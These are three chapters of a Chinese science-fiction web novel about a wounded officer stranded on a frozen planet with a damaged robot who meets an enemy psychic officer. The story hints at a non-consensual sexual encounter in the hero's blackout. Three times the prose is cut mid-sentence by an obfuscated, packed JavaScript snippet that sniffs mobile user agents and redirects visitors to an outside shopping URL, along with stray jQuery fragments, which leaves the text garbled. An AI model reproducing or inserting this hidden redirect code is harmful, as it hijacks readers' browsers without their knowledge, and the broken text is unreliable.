《猎杀我的白骨老公》 1. 第 1 章 昏黄尘土笼罩着天空,龟裂大地像是张巨大无边的棋盘,满布纵横相交的纹路。 虽然空气中充斥着捕食者的危险气息,但恐惧终究抵不过饥饿,一只尺余长的孚鼠悄悄钻出了洞,四处寻找食物。 孚鼠终于刨出了一块木薯块茎,却被几只游荡的钢鬣兽发现,朝着它飞速靠近。 此时,一团耀眼白光出现在荒漠上方,划破浑浊的天空,带着尖锐的呼啸声浪,轰然坠落在了地上。 待到烟尘散去,那几只钢鬣兽消失无踪,它们所在的位置则多出一艘冒着浓烟的银白色飞行器。 四周恢复了沉寂,一只孚鼠从飞行器下钻了出来,惊恐地左右张望,再抱着自己的木薯奔向鼠洞。 …… “纪九,纪九。” “纪九,你还活着吗?” 灯光在没有起伏的机械音中亮起,将飞行器舱内照亮。 驾驶座上坐着一名年轻的军官,微垂着头,黑发搭在额上,只能看见浓黑的长睫和苍白的侧脸。他身体被安全带固定在座位上,右手无力地垂在身旁,血液顺着修长的手指一滴滴跌落地面。 “纪九,纪九。” 半人高的机器人朝着纪九移动。 它只剩下了一条右臂,左腿也短了一截。一瘸一拐前进时,断腿处外露的线路闪着火花,发出嗤嗤声响。 机器人伸手去探纪九的脉搏,再拎来医疗箱,将一支针剂扎进了他的脖颈。接着解开他上衣纽扣,用医用强力胶布贴住他胸膛上还在流血的伤口。 “无法感知到心尖搏动,呼吸停止,血压脉搏消失,你已经进入了濒死状态。飞行器有两处破损,不再处于密闭状态,而——” 机器人突然停下声音,侧耳倾听,再拖动残腿走出内舱。 外舱壁上有一道一米多长的裂口,一只覆盖着青黑鳞片的野兽头颅已经探进舱,正使劲将身体往舱里钻。 “纪九,我觉得你要快点醒来。”机器人喃喃。 一大群钢鬣兽已围住飞行器,也发现了舱壁上的破洞。 破洞处溢出丝丝缕缕的血腥味,刺激得这群饥饿的野兽快要发疯。它们猩红着双目,嘶吼着拼命往里钻,并试图将洞口已出现裂痕的舱壁给掰开。 机器人走上前,抬起胳膊,手掌缩回,独臂便成了一柄转动的枪膛。 砰砰砰…… 弹壳和鲜血四处飞溅,钢鬣兽脑袋被打成了蜂窝。但它的尸体立即被拖出去,另一只钢鬣兽又探进了头。 持续枪声中,又倒下了七八只钢鬣兽,破口处的地面铺满厚厚一层深黑色血浆,已经看不清原本的银白色舱底。 机器人却突然转身,快速移向内舱。 只见一只钢鬣兽已从另外的破洞钻进舱,正扑向昏迷在驾驶座上的纪九,滴着涎水的尖牙已快触碰到他的头顶。 机器人迅速射击:“纪九,我的子弹还有三十二发,我希望你现在就醒过来。” 纪九一动不动地垂着头,机器人杀掉那只钢鬣兽后也不敢离开,只站在原地,待它们冲进内舱后再开枪。 “三十,二十九……十八,十七……三,二,一。” 机器人的手臂发出空膛声,它看着前方扑来的钢鬣兽,又看向昏迷中的纪九,用平淡无波的机械音道:“完蛋了。” 钢鬣兽明显更憎恨一直在击杀它们的机器人,所以在涌入内舱后,叼起机器人便呼啸回头,暂时没有去管纪九。 内舱喧嚣后又恢复安静,纪九依旧坐在驾驶位上,但垂在身侧的手指突然蜷曲,长睫也轻轻颤了颤。 荒地上,一群猩红着眼的钢鬣兽对着机器人抓挠撕咬,尖牙在金属身体上划出嘎吱声响。 咔嚓! 独臂被扯断,钢鬣兽争着啃咬那条胳膊,发泄着狂暴愤恨。 咔嚓! 两条腿也和身体分离…… 机器人只剩下个短短的身体和圆脑袋,在钢鬣兽的争抢中,从这副尖牙转至另一幅尖牙的钳制里,偶尔还在空中抛来抛去。 当它再一次被甩上天空时,看见飞行器覆满黄土的舱门缓缓打开,门口出现一名年轻英俊的军官。 军官穿着作战短靴,裹着修长双腿的裤管掖进靴筒。上装半敞,露出染血的医用胶布和一小片肌肤。 纪九!! 机器人虽然没有眼泪,却觉得自己差点热泪盈眶。 纪九虚弱地半靠着舱门,再从身后拖出一根半米长的迫击炮,慢慢扛到肩上。 轰! 一枚炮弹拖着白尾飞向了钢鬣兽群,数只钢鬣兽被炸上了天。机器人也从两排尖牙里飞了出去,咕噜一声摔在黄土里。 剩下的上百只钢鬣兽停下喧嚣,再发出狰狞嘶吼,齐齐冲向了纪九。 轰!轰! 又是两枚炮弹出膛,钢鬣兽纷纷扑倒,残肢零落满地。 飞扬浓尘中还奔跑着十来只钢鬣兽,纪九扔掉炮筒,拔出配枪。 他嘴唇淡得没有一丝血色,衬得眉眼更加幽深漆黑。钢鬣兽越来越近,他依旧靠着舱门,瞄准,冷静地朝着它们扣下扳机。 随着最后一只钢鬣兽摇摇晃晃地倒下,枪声停息。纪九靠着舱门剧烈咳嗽,苍白脸上终于多了一分血色。 待到缓过气后,他起身迈步,军靴的厚底踏上了黄土。 遍地都是钢鬣兽的尸体,他前进一小段,喘着气停下:“你能自己过来吗?” “不能。”躺在一处土包上的机器人仰头看天。 “你可以滚过来的。” “不滚。” 纪九叹了口气,绕过钢鬣兽尸体走向土包。 一只还未气绝的钢鬣兽爬起身,满眼怨毒地悄悄靠近。纪九看也不看地抬手,一声枪响,那只钢鬣兽的天灵盖便应声飞走。 纪九停在土包前,看看机器人,又看看不远处的几块金属碎渣:“你——” “我觉得这样挺好看,也不想在地上滚。” 纪九拎起机器人往回走,旁边洞里的孚鼠忍不住好奇,战战兢兢地探出脑袋,正好和他对上了视线。 纪九停下脚步,垂眸看着满脸惊恐的孚鼠:“嗨。” 孚鼠一个激灵,抱着自己的木薯,倏地缩回了洞里。 “纪九,你可以不抠着我的嘴巴吗?”机器人问。 “我倒是想拎你的胳膊,但你没有。” “那你可以把我的胳膊腿找回来吗?” “也许太碎了,得用上吸铁石。” 纪九走出一段,胸膛上的伤口又在渗出鲜血,脸色更加苍白,脚步也开始踉跄。 “纪九,纪九,纪南瑾。” “别吵。”纪九神情恍惚地回道。 “我不想吵,可是——” “死不了。” 纪九强撑着进入飞行器,刚关上舱门,身体便晃了晃,靠着墙壁慢慢滑在了地上。 昏昏沉沉里,他仿佛又回到了之前的那场战役里,听到了炮火轰鸣和耳机里的急促对话声…… “纪上校,我们已经到了,但这里只是一片废墟,没有发现任何人质,情况好像不太对劲。” “纪上校,现在怎么办?” 城市成为一片废墟,天空布满飞纵的炮弹。纪九奔跑在一条长得没有尽头的甬道里,对着耳机下令:“马上放弃任务,各队立即回飞行器,准备撤回主星。” 他刚下完令,耳机里便发出滴滴警报声,一道提示音同时响起:“注意,监测到空气中骷浓度含量达到30%。” 纪九猛然顿住脚步,不敢置信地看向肩上的监测器,看见屏幕上清晰地跳动着一个红色数字:30。 纪九脑中响起了剧烈轰鸣,太阳穴砰砰直跳。他咬了咬牙,对着耳机厉声喊道:“所有人立即撤!这里有序列者正在突破!” 话音刚落,他便感受到一股重力从身后推来,将他整个人掀起,撞上对面断墙,再和着碎石瓦砾摔倒在地。 纪九挣扎着爬起,伸手去摸掉在旁边的枪,但又是一股强力袭来,如同万钧巨石压在身上,让他动弹不得,呼吸困难,充血的眼球似乎都要脱出眼眶。 模糊视线里,他似乎看见一道背光的高大身影正缓步走来,他努力想辨认仔细,却在下一秒失去了意识。 纪九在昏沉的海洋里起伏,依稀听见耳边粗重的喘息,还有自己嘴里溢出的呻吟。 某一刻,他的后颈似被野兽叼住,啮齿啃咬着皮肤。他被揪紧了头发,不得不往后仰头,对上了一双冰冷的黑瞳。他无力地反抗,挣扎,只感觉身体有着撕裂般的疼…… …… 纪九猛地睁开眼,在黑暗中大声喘息,双手紧抠着地板,手背上浮起道道青筋。 “纪九,纪南瑾,纪九。” 机器人的声音传入耳内,纪九慢慢反应过来,眼睛迟缓地眨了眨,这才发现自己还躺在破烂的飞行器里。 他看向躺在身旁的机器人,沙哑着声音问:“吴思琪,我昏迷了多久?” “不太久,两个半小时。”编号547的机器人想了想,“我给你重新处理了伤口,缝合包扎,还注射了强心针和抗生素。” “不用注射强心针。”纪九疲惫地回道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187183|150702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我怕你死了。” “我不会死。” 纪九发现他和机器人就躺在舱门口,浑身裹满腥臭的深黑色血液,旁边还躺着几具钢鬣兽尸体。 他看着身侧的医疗箱,问道:“你没有胳膊,是怎么给我注射针剂的?” 机器人晃了晃脑袋:“我可以用头去顶。” “那你是怎么把医疗箱弄来的?” 机器人略有些暴躁:“我可以用头去顶!” “我是指你的脚。”纪九撑手坐起身,“滚进内舱又滚出来的吗?” 机器人紧闭着嘴,拒绝回答这个问题。 纪九看着舱顶笑,又问:“我们这是在哪儿?” “现在飞行器无法启动,仪器也没法使用,所以无法定位,我不清楚这是哪颗星球。” “通讯器呢?能和军队取得联系吗?” “通讯器已经成了一堆碎片。” “嗯。” 纪九慢慢站起身,去查看飞行器上的裂口,脚底踩在钢鬣兽淌出的黑血里,发出粘稠水声。 “这里有着适合人类生存的大气,还有钢鬣兽和孚鼠,应该是H58行星。我俩得赶紧把这裂口给补上,不然等会儿又会遇上钢鬣兽,军队还没找到我们,就被它们给填了肚子。”纪九卷动衣袖,“吴思琪,帮我把工具箱拿来。” 机器人一声不吭,纪九转头看它,又笑了一声。 “不好意思,忘记了。”纪九打量四周,“我先给你搞个代步工具,你去外面把你的胳膊找到。” 十分钟后。 机器人的半截身体固定在一架电动滑板上,用脑袋拨弄方向杆,离开了飞行器。 纪九戴着防护面罩坐在裂口前,用焊枪将一块金属板烧铸在舱壁上。 “吴思琪,你记得我是怎么回到飞行器上的吗?我的士兵有没有成功撤离?” “你自己不记得?”耳机里传来机器人的声音。 面罩上跳跃着火光,纪九那双漂亮的眼睛在面罩后显得有些迷茫。 “我失去了部分记忆,只记得昨天我们刚进入旋5行星赤牙城,却没有发现人质,还中了埋伏。那里有一名序列者正在突破进阶,我刚下令撤退,就被那能量冲击,昏迷……” 纪九说到这儿,突然停下声音,脑中浮现出一些某些模糊画面:粗重的喘息,被叼住的后颈,冰冷的黑瞳…… 一切都是那么不真切,让他觉得这些是自己昏迷后的幻象,但心里也不免升起了异样感,下意识伸手去摸后颈。 “然后呢?”机器人出声。 纪九手指滑过后颈,那里皮肤完整,并没有被撕咬过的伤痕。 “再醒来就在这儿。”他喃喃道。 “你可能是自己回到飞行器上的吧。”机器人回道。 “可能?” 机器人沉默两秒:“飞行器降落赤牙城后,你刚离开,我就遭受了一次强大的能量冲击。” “所以?” “所以我也昏迷了。”机器人顿了顿后补充:“死机。再启动时就已经在迫降。” “既然我能驾驶飞行器离开,那士兵们应该也都撤了?” “是的,不然你不会走。” 纪九没有再追问,只专心地烧铸裂口,机器人突然发出一声欢呼:“我捡到脚趾了,还是我最完美的大脚趾。” “恭喜。” 纪九刚露出一丝微笑,便又开始咳嗽。他伸手去捂胸膛,动作牵动伤口,发出了一声闷哼。 “你没事吧?” 纪九伸手擦了擦嘴角:“死不了。” “我检查过了,你那伤口不是战斗伤,是飞行器迫降时,一块飞起的金属片刺破了你的胸膛。再偏移一点点,就会扎入心脏。”机器人想了想,“但是你身上有一些淤青,可能是被很多飞起的金属片打出来的。” 纪九关掉焊枪,扯开自己衣领,发现整片胸膛皮肤上都遍布深深浅浅的淤青。他有些惊诧,便解开了所有衣扣,看着那青紫一直蔓延进裤腰。而腰侧上也有几团,像是用力抓握出的指痕。 “你除了伤口,还有迫降时大气对内脏的挤压,所以差点死掉。”纪九蹙眉思索时,机器人在耳机里问:“你感觉还有没有哪里受伤?” 纪九没有出声,直到机器人在不断追问才回过神。 “纪九,你还有没有哪里受伤?纪九?” 银盟军的药品效果很好,纪九侧头感受了下,觉得伤口处已好了许多,身体也恢复了不少力气。 但小腹隐隐作痛,身后某个难以启齿的部位也有些异样。 2. 第 2 章 纪九的二十四年人生里,一大半时间都在闯祸。十七岁那年参加帮派火拼,所有成员被一网打尽,他在监狱里蹲了两个月,终于被哥哥纪北宴捞了出去。 军车停在大雨滂沱的街头,刚出狱的纪九背靠着真皮椅背,看着车窗外淌落的雨水。他穿着黑夹克和牛仔裤,头发被剃得露出青色头皮,让他俊美的五官多了几分锋利,也多了几分桀骜。 “小九,第六次了。我答应过母亲会好好照顾你,但这是有期限的。现在你快满十八岁了,我的责任已经尽到,如果你再被关进监狱,就不要让我知道。” 纪北宴不过三十来岁,却已是银盟军少将。他衣着一丝不苟,有着深刻的眉间纹路和线条冷硬的面部轮廓,面对这名顽劣的弟弟,神情里也只剩下疲惫和失望。 纪九没有解释,也没有顶嘴,只盯着车窗抿着唇,唇上有几道干裂的口子。 纪北宴又道:“军队物资部有几家外包公司,我看看有什么合适的职位,把你安排进去。还有——” “我要考军校。”纪九却突然出声。 纪北宴微微错愕:“什么?” “我要考军校,考银盟军军校。” 车顶被雨点敲得劈啪作响,车内却安静了足足半分钟。纪北宴一直看着纪九,纪九微昂着下巴,目光毫不退缩地和他对视着。 “想考军校,身上不能有刺青。”纪北宴指着他露出衣领的那片皮肤。 “我会洗掉。” “你有多次被起诉和入狱的记录。”纪北宴目光凌厉。 “银盟军正在和塔柯人作战,需要大量士兵。我犯的都是轻罪,如果考核时表现优秀,他们会录取我的。” “你既然知道现在正在战斗,为什么还要去念军校?”纪北宴厉声喝道:“纪南瑾,军队不是帮派,战场也不是街头斗殴,你的每一次任性,每一次不服管教,都可能让你丢了性命!” “我很清楚,很明白,不需要你对我说教。我只是通知你这件事而已,你同意或是不同意都不重要。”纪九也冲他吼了回去。 车内气氛剑拔弩张,司机士兵头也不敢回,甚至不敢去看后视镜,只定定地目视前方。 好在双方没有继续争吵,都克制地转开头,各自看着一方车窗。 纪北宴逐渐冷静下来,正要说什么,就听纪九哑声道:“哥,放心吧,我会好好表现,不会乱来。” 纪北宴依旧看着窗外,纪九用低不可闻的声音继续:“……我也怕你真的就不再管我了。” 纪北宴抬手揉着太阳穴,闭上眼睛:“那也要考得上才行。” 纪九后来不但考入了军校,还以全校第一的成绩进入了军队,并立下数次战功,在短短几年时间内,成为了银盟军最年轻的战斗指挥官。虽然目前军衔只是上校,但荣升军阶是迟早的事。 他十七岁之前专注于帮派斗殴,十七岁之后全身心投入军队训练和任务,所以从未谈过恋爱,也未和人发生过关系,感情世界一片空白。 现在他看着皮肤上的这些斑驳淤痕,感受着身体上的不适,根据脑内那点有限的性知识,怀疑自己和人做了什么,却又不太确定。 “吴思琪。” “嗯。” 电动滑板颠簸行进在荒地上,机器人用脑袋转动方向杆,等了片刻后没有下文,便道:“纪九,你叫了我三次,但什么也没说。” 纪九正低头在按腰侧的一块淤青,嘴里轻轻嘶了声。 “纪九,我觉得你有些奇怪。” “我又没有掉胳膊腿,哪里就奇怪了?”纪九反问。 机器人有些不开心,闭上了嘴,纪九问道:“你储存器里录入的那些信息资料,覆盖面怎么样?” “覆盖面很广。”机器人很是骄傲。 “有多广?” “我是最新型机器人,录入了所有军事知识,包括且不限于战略战术、枪械装备、管理科研——” “不,我不是问的这个。”纪九打断了机器人,“我问的是生活日常,身体常识。” “医学方面我也是专家级——” “不不不。”纪九再次打断,“我说的是身体常识,比如……” “噫?”机器人停下滑板,专心地听。 纪九轻轻咳了一声:“比如总会产生一些奇怪的幻象。不过也不一定是幻象,也许是我还保留了一点昏迷时的记忆。” “噫?” “比如……你有没有想过,我身体上那些痕迹,也许并不是金属片撞出来的呢?” “噫?” 机器人这次等了很久,纪九才道:“算了,没什么。” “纪九,你真的很奇怪。”机器人有些失望。 纪九拔出缚在小腿侧的匕首,半眯着眼,看它在光线下折射出摄人寒芒。 片刻后,他缓缓开口,声音和那锋利刀刃一样冰冷。 “如果真有那么一个人,让我吃了这么个闷亏,那我一定要找到他,将他的肉一片片削下来,骨头一根根拆掉。” 纪九并不是一个容易陷入困扰的人,当某件事暂时无法解决时,便会抛诸脑后,不去多想,只专心应对眼下危机。 而他目前急需要解决的问题,便是飞行器上的裂口和无法启动的曲率引擎。 “吴思琪,将H58行星的详细资料告诉我。”纪九扣好纽扣,重新打开了埆焊器,开始烧铸金属板。 “H58行星是位于猎马星系边缘处的一颗小行星,因为含有丰富的克矿资源,所以被人类改造了大气环境,建立了矿场。但经过两百年的开采,该行星的矿资源已经枯竭,所以矿场撤走,H58便成为了一颗弃星。” “继续。”纪九补好一小块舱壁后,又重新拿起了一块金属板。 “H58行星的资料不多,对我们也没什么用。但有一点要注意,这颗行星夜里时温度很低。” “有多低?” “会达到零下一百度。” “零下一百度。”纪九停下动作,从裂口处看向昏黄的天空,“那我们必须在天黑前把飞行器补好,还要修好曲率引擎和动力装置,不然会冻死在这里。” 机器人找回了它的两条腿和右臂,又在内舱一处角落里发现了自己的左臂,欢天喜地地拿给了纪九。 “胳膊修理一下还能用,但这个腿……”纪九用手指拨弄着面前那一堆金属碎渣,捻起其中一根:“你确定这个是腿,不是钢鬣兽的牙齿?” 机器人探头看了下:“我以为是我的脚趾。” “你这腿也太散了些,要不,我们就将就一下?”纪九对着机器人身下的滑板抬了下下巴。 机器人盯着那堆碎渣不说话,纪九又道:“你们那批机器人,只有你,编号547,只有你才配拥有这种四个轮子的腿,满地跑,拉风得不得了。” 机器人面部屏幕闪了闪,有些心动,纪九将一根碎渣放在板车上:“这是你曾经的已淘汰的不够档次的脚趾,拿去做个纪念。” 下午七点,恒星的光照滑落地平线,寒意渐渐笼罩这颗荒星。 飞行器的两处裂口已经补好,纪九叼着一管营养剂,裹着一条毛毯,躺在底舱的仪器腹下,用工具拆卸动力装置外罩。 “灯有些暗,看不清。” “没有灯,只有我的眼睛。” “那让你的眼睛再明亮动人一点。” 底舱一团漆黑,机器人的眼睛部位放着光,像是两把手电筒。听见纪九的话后,那两束光又亮了几分。 “吴思琪,水热好了吗?”气温越来越低,纪九不时在咳嗽,嘴里呼出一口口白气,声音也有些发抖。 机器人打开胸前盖,从中空的胸腔里拿出一壶水:“已经热了。” 纪九冻得发木的手快要拿不稳工具,便喝上几口热水暖暖身,接着再继续修理。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187184|150702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半个小时后,机器人问道:“还要多久才能修好?” “快了。”纪九转动着上方的一颗螺丝。 “你已经说了三十六次快了。” “那就别问,再问就是三十七次。”纪九闭上有些发涩的眼,“我在安装备用汞门阀,装好后就能恢复动力。到时候把舱内气温升起来,再泡个热水澡,舒舒服服地等军部来接我们。” 纪九终于安装好了汞门阀,从仪器腹下挪了出来。他沾了血的衣服冻得板结发硬,双脚也没有了知觉,只裹紧毛毯靠墙坐着,让机器人去启动飞行器动力装置。 “现在气温多少?”纪九牙齿咯咯作响,又忍不住咳嗽,扯得伤口一阵阵发疼。 “零下二十度。” “快,快启动。” 机器人坐着滑板去到装置前,伸手按下了启动键,但飞行器却没有任何反应。 “快,快按。” “我按了。” “用力。” “用了。” “要,要,要按下去。” “按下去了。” 机器人又连着按了好几次,启动键发出弹动的咔嚓声响。 “怎么回事?”纪九慢慢坐直了身。 机器人的手指尖探出一根锔线,滑进了仪器上的某个连接孔,片刻后道:“你刚换上去的那个汞门阀也是坏的。” “那我们还有其他备用的吗?” “没了。” 纪九起身离开底舱,再打开内舱的可视窗户。机器人的“目光”穿透荒原上的黑暗,两束光柱里飞扬着密集雪片。 飞行器落在荒星上,纪九自昏迷中醒来,一直到现在,心里才真正涌起了危机感。 他清楚军部肯定在四处寻找他,但H58行星已偏移他执行任务的那片星域,要找到他至少也要一周。 动力装置无法启动,在这样的低温下,别说一周,今晚他都熬不过去。 纪九想到了自己死亡的可能,脑中顿时闪过数个念头,其中也包括纪北宴看到他冰冷的尸体时,眼睛通红流着泪的画面。 “纪九?” 机器人的声音让纪九回过神,他一边咳嗽一边道:“吴思琪,我们去把飞行器里所有的布料和皮料都找来。” “好。” “座椅皮套也拆掉。” “……好。” 两个刚各自转身,突然又齐齐转头,看向了右边的可视窗。 只见原本漆黑的天幕上出现了一团亮光,像是拖着长尾的彗星,正迅速落向他们。 “纪九?” “嘘。”纪九一动不动地看着天空。 两秒后,纪九听到了隐约轰隆声,立即反应过来这是一架飞行器,猛地扑到了可视窗前。 “是军部来接我们了。”他双眼闪着激动的光。 天上那团光亮迅速放大,穿透纷飞的雪片,照亮了这片荒原,惊得地面的钢鬣兽四处逃窜。纪九已能看清它梭鱼似的外形,但发现它到达一定高度后没有减缓速度,神情又变得紧张。 纪九和机器人都仰着头,看着那架飞行器越来越近,从头顶呼啸而过,一头砸在远方地面上,发出震天的轰响。 接着光亮和轰鸣声陆续消失,外面的世界又恢复成一片黑暗。 “纪九?”机器人惶惶。 纪九急促地喘着气,接着迅速转身:“我们得去救人,快,找布料拆椅套!” 五分钟后,全副武装的纪九站在了舱门前。 他全身缠满布料和皮套,整张脸只露出双眼睛,再披着毛毯,肩上扛着一根迫击炮。 拉开舱门的瞬间,凛冽寒风夹着雪片涌入,呼啸风声中还混杂着钢鬣兽的吼叫。纪九深深吸了口气,感觉到那凉气顺着肺管布满整个胸腔。 “走吧。” 纪九步出舱门,机器人开动滑板车,跟在了他的身旁。 3. 第 3 章 纪九顶着寒风,循着飞行器坠落的方向而去。地面已铺了一层积雪,机器人发出的光束穿不透雪片屏障,可视范围极低。 数只钢鬣兽隐没在黑暗里,悄无声息地接近,冰冷空气里流淌着兴奋和暴戾的气息。 几声枪响,左边雪地上有黑影扑倒,机器人又倏地转身:“后面!” 纪九朝着身后开枪,待到那窸窸窣窣的动静消失,这才继续朝着坠落点前进。 钢鬣兽被枪声和血腥味刺激得更加兴奋,纪九扛着迫击炮,朝四面八方那些涌动的黑影开火,在它们集体冲上来之前,到达了飞行器坠落点。 黑夜里看不仔细,只看见飞行器如同一座庞大的山包,半个身都扎在泥土里,断折的左翼掉在远处。 “我快没有子弹了。”机器人两条胳膊突突喷出火舌。 “死不了。” “我是死不了,可是你会死。” 纪九用冻得发僵的手指扣下扳机,前方炸出一片火光,数只钢鬣兽发出凄厉惨嚎。 “如果你四个轮子转得快一点,别让我老是停下来等你,那我肯定不会死。” 纪九用炮火进行推进,在不断炸起的火光中,带着机器人冲到了飞行器旁。 “打开舱门。”他背抵着飞行器,炮筒对准兽群,嘴里下着命令。 “我在开。”机器人对着舱门探出了锔线。 “还有多久?炮弹还剩下三发,我只能挡住一分钟!” “快了。” 不远处有只钢鬣兽的尸体正在燃烧,借着那火光,纪九看见兽群呈包围状围了上来,那一眼看不到边的黑色鳞片和雪亮尖牙,只令人毛骨悚然。 “还有多久?”纪九扛着迫击炮,一行冷汗从鬓边滑下。 “快了。”机器人回道。 “怎么只会回答快了?”纪九喝道。 机器人抬头看他:“你平常也是这样回答的。” 纪九顿了顿:“别盯着我!看着舱门!” “知道,快了。” 但纪九立即就察觉到了异常。这群钢鬣兽围住他们后,却并没有扑上来,而是停在了距他们几十米远的地方。就算有那么两只蠢蠢欲动地冲前两步,又满眼畏惧地退了回去。 机器人打开了舱门吗,纪九也来不及多想,闪身冲进了飞行器内部。 舱门砰一声关严,黑暗里响起纪九撕心裂肺的咳嗽声。机器人要看他的伤势,纪九喘着气道:“我没事,你去看看人怎么样了。” 机器人立即离开,两束白光在舱内乱转。纪九看见了满地金属碎片,还有被撞得变形的操纵台和驾驶座。 他这个方向看不见驾驶座上的人,却能看见扶手外垂着一只手,手指修长,骨节分明,却一动不动。 纪九停下咳嗽站直身,听见机器人噫了一声,又道:“纪九,这不是银盟军的飞行器。” 纪九顿时明白了什么,神情变得凝重。他放下迫击炮,解掉身上的毛毯和布皮料,走向操纵台,绕着驾驶座转了半圈。 “这里有应急灯。”机器人在一旁道。 唰一声响,舰内变得明亮,也让纪九看清了坐在驾驶座上的人。 这人年约二十六七,穿着黑色风衣式军官制服,肩膀很宽,黑色衬衣领内露出一小截灰色领带。他闭着眼,如同睡着了般,苍白的皮肤在灯光下没有半分瑕疵,如同精心雕琢的玉器,完美得没有真实感。 纪九看见那风衣上的肩章,便明白了对方的身份。 塔柯星和银辉星两个星系同属猎马星系,但两百多年前,因为争夺资源而开始了战争。银辉星人在太空里流浪了很长一段时间,于一百多年前才夺回了自己的星域,也开始正面和塔柯星人对抗。 这场战争跨越好几个星系,波及了数个星球,双方在一次次的交战和持续攀升的死亡数据中,仇恨越积越深。 此刻,纪九看着这名生死不知的塔柯军人,目光也越来越冷。 “无法感知到心尖搏动,呼吸停止,血压脉搏消失。”机器人语气肯定地下了结论:“他已经死了。” 纪九的视线顺着塔柯军官的脸庞下移,只见一根锋利的金属片,穿过那件做工考究的军装,刺入了他的胸膛。 “不一定。”纪九摇头,“我不是也被这样扎过吗?现在还好好地站在这里。” “但是我不会对他实施抢救,不会处理伤口注射药物,所以他等于已经死了。”机器人道。 纪九不置可否,只打量着四周。 他原本以为这是来接自己的银盟军,没想到却是仇敌塔柯人,这让他的心情很是糟糕。好在这架飞行器里温度很高,他不用担心今晚会被冻死在这里。 纪九头脸上的雪片和冰渣都已融化,让他脸上布了一层水痕,睫毛上也挂着几颗水珠。 “这艘塔柯星舰为什么也坠到H58了?”他问道。 机器人思忖:“我们应该是在返回银辉星的途中遇到了流浪行星,被它的引力场扰动,最后到了这儿。” 纪九点点头:“显然这艘塔柯星舰也遇到了它。” 机器人去检查曲率引擎,纪九再次打量塔柯军官,突然想到了什么,大步上前,摘掉了他头上的军帽。 塔柯人的整张脸都暴露在灯光下,鼻梁高挺,眼窝深邃。但纪九的目光并没在这幅好容貌上停留半秒,只用一根手指拨开他的耳廓,看向了他的耳后。 “……果然是序列者。”纪九眯起了眼,“暗影军团。” 塔柯人里有一个异常强悍的种群,叫做序列者,所在军队叫做暗影军团。 序列者分为三阶,初阶中阶和高阶,都能使用精神力进行攻击,有着超出普通人的战斗力。 暗影军团人数不多,总共也就几百名,出现在战场上的也多是初阶和中阶序列者。 初中阶序列者能在2-3秒内控制别人的身体。这2-3秒看似短暂,但只要用在合适的时间节点,往往能扭转战局。纪九的很多战友出发前还在和他说笑,结果一去就再也没有回来。 这次在赤牙城出任务,监测器检测到有序列者突破,根据骷浓度含量,他觉得应该有一名初阶序列者突破成了中阶。 纪九从未见过高阶序列者,只知道他们能力更加强大,不光能控制对方肢体,还能将精神力凝成实质,入侵大脑进行攻击。而且他们受创的身体能自行修复,如同有着九条命的猫,轻易无法杀死。 唯有用一种叫做铦的物质才能阻断他们的自我修复,达到彻底击杀的效果。 那些老兵倒是经常聊起高阶序列者,个个都吹得天花乱坠,特别是炊事班那名王大厨,说得更是毫无逻辑。 “高阶序列者其实长着两张脸,前后一张,还能变幻男女。” “他们原本的形态就像个大蟑螂,巨型大蟑螂。” 纪九并不将这些人的胡扯当回事。他知道不论什么阶的序列者,外貌形态和普通人并没有什么不同。唯一的区别,便是他们数百年前生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187185|150702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活在深海,所以耳后有着鱼一样的鳃。 纪九用手指拨开这人的耳廓,应急灯光照下,可以看见耳后皮肤上有一条细痕,那便是处于闭合状态的鳃。 纪九没想到会在这里遇到一名垂死的序列者,指不准还是名中阶。这也让他明白了刚才那些钢鬣兽为什么停步不前。 它们并不是畏惧自己,而是畏惧这架飞行器里的人。 纪九收回手,退后两步,想要询问机器人动力装置的情况。但视线一转,突然顿住,身体也倏地绷紧。 这名序列者依旧维持着靠坐在驾驶座上的姿势,双臂搭在扶手上,胸膛上也依旧插着那根金属条。但双眼不知道什么时候已经睁开,正定定地看着他。 纪九那瞬间血液都冲到头顶,立即要去摸腰间的枪,却又想起刚才对付钢鬣兽时子弹已经放空。不过他接着便反应过来,这名序列者就算没死也身受重伤,暂时不能对他怎么样。 纪九的身体慢慢放松,垂眸回视着这名序列者。 序列者的目光透过眉峰,深黑的眼瞳在灯光直照下有些接近灰色。他虽然坐着,却带给纪九强烈的压迫感,仿佛他才是居高临下的那一个。 两人都没有出声,空气都像是已凝固,纪九没有做出任何动作,脑中却在飞速转动。 他俩都受了伤,序列者目前伤势更重。但序列者的恢复速度超于常人,一旦能朝他动手,那就算有着机器人做帮手,他也没有足够的胜算。 纪九眼底闪过一丝狠意。 这个荒星上没有第二个能喘气的活人,不管是因为双方立场还是因为自身安全,他都要杀了这名序列者。 他们两人,只能活一个。 